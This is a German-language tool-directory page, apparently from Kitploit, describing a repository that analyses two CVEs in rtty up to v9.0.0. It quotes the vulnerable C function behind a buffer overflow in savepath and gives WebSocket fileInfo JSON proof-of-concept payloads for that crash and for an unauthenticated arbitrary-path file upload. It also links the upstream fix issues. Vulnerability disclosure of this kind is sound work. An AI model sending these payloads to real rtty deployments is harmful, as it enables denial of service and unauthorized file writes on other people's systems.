Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/xkaneiki/rtty_cve-2025-56708-cve-2025-56709
SchwachstellenanalyseExploitationWebanwendungs-ExploitationFehlkonfigurationBinary-Exploitation
GitHubxkaneiki/rtty_cve-2025-56708-cve-2025-56709

rtty_CVE-2025-56708-CVE-2025-56709

Detaillierte Analyse der Schwachstellen CVE-2025-56708&CVE-2025-56709

Repository anzeigen
39vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-56708&CVE-2025-56709

【CVE-2025-56709】Pufferüberlauf in savepath

Schwachstellenübersicht

In der Version rtty <=v9.0.0 weist die fileinfo-Methode eine Überlauf-Schwachstelle auf, die dazu führt, dass kontinuierlich Daten in die globale Variable savepath geschrieben werden und dadurch ein Pufferüberlauf ausgelöst wird.

Schwachstellenanalyse

savepath kann kontinuierlich beschrieben werden, was zu einem Überlauf führt.

  • 【1】Man erkennt, dass name tatsächlich den Speicherbereich von savepath verwendet.
  • 【2】Wenn der Mount-Check fehlschlägt, wird der Ablauf check_space_fail erreicht.
  • 【3】Der Ablauf führt dann zum Fehler, aber buffer_pull fügt dem Speicherbereich von name, also savepath, weiterhin Daten hinzu.
static void start_download_file(struct file_context *ctx, struct buffer *info, int len)
{
    char *name = savepath + strlen(savepath);【1】
    struct mntent *ment;
    struct statvfs sfs;
    char buf[512];
    int fd;

    ctx->total_size = ctx->remain_size = buffer_pull_u32be(info);

    ment = find_mount_point(savepath);
    if (ment) {
        uint64_t avail;

        if (!strcmp(ment->mnt_type, "ramfs")) {
            struct sysinfo si;

            if (sysinfo(&si)) {
                log_err("download file fail: '%s'\n", strerror(errno));
                goto check_space_fail;
            }

            avail = si.freeram;
        } else if (!statvfs(ment->mnt_dir, &sfs)) {
            avail = sfs.f_bavail * sfs.f_frsize;
        } else {
            log_err("download file fail: '%s'\n", strerror(errno));
            goto check_space_fail;
        }

        if (ctx->total_size > avail) {
            log_err("download file fail: no enough space\n");
            goto check_space_fail;
        }
    } else {
        log_err("download file fail: not found mount point of '%s'\n", savepath);
        goto check_space_fail;【2】
    }

    buffer_pull(info, name, len - 4);

    if (!access(savepath, F_OK)) {
        send_file_control_msg(ctx->ctlfd, RTTY_FILE_MSG_ERR_EXIST, NULL, 0);
        log_err("the file '%s' already exists\n", name);
        goto open_fail;
    }

    fd = open(savepath, O_WRONLY | O_TRUNC | O_CREAT, 0644);
    if (fd < 0) {
        send_file_control_msg(ctx->ctlfd, RTTY_FILE_MSG_ERR, NULL, 0);
        log_err("create file '%s' fail: %s\n", name, strerror(errno));
        goto open_fail;
    }

    log_info("download file: %s, size: %u\n", savepath, ctx->total_size);

    if (fchown(fd, ctx->uid, ctx->gid) < 0)
        log_err("fchown %s fail: %s\n", savepath, strerror(errno));

    if (ctx->total_size == 0)
        close(fd);
    else
        ctx->fd = fd;

    memcpy(buf, &ctx->total_size, 4);
    strcpy(buf + 4, name);

    send_file_control_msg(ctx->ctlfd, RTTY_FILE_MSG_INFO, buf, 4 + strlen(name));

    return;

check_space_fail:
    send_file_control_msg(ctx->ctlfd, RTTY_FILE_MSG_NO_SPACE, NULL, 0);
    buffer_pull(info, name, len - 4);【3】
    
open_fail:
    file_context_reset(ctx);
}

Proof of Concept (PoC)

  • Durch kontinuierliches Senden von Daten über WebSocket kann der Dienst zum Absturz gebracht werden (möglicherweise sogar RCE).
{"type":"fileInfo","name":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","size":50}

Behebung

https://github.com/zhaojh329/rtty/issues/139

【CVE-2025-56708】Unautorisierter Datei-Upload

Schwachstellenübersicht

In der Version rtty <=v9.0.0 besteht eine Directory-Traversal-Schwachstelle. Im interaktiven Protokoll weist die fileinfo-Methode eine Logikschwachstelle auf: Ein Angreifer kann durch Hijacking des WebSocket und Aufruf der fileinfo-Methode ohne Benutzeranmeldung Dateien an einen beliebigen Pfad im System hochladen.

Proof of Concept (PoC)

  • Durch Hijacking des WebSocket-Programmablaufs kann über die fileInfo-Methode ohne angemeldeten Benutzer eine Datei in ein beliebiges Verzeichnis des Systems hochgeladen werden.
  • Festlegen des Mount-Verzeichnisses
{"type":"fileInfo","name":"home/xk/xxx/xxx/fuck1","size":50}
  • Festlegen der Datei
{"type":"fileInfo","name":"home/xk/xxx/xxxx/test/rtty/rtty/build/src/hello1","size":50}
  • Die Datei wird auf dem Server erzeugt. Schematische Darstellung der Schwachstelle

Behebung

https://github.com/zhaojh329/rtty/issues/140

Tool herunterladen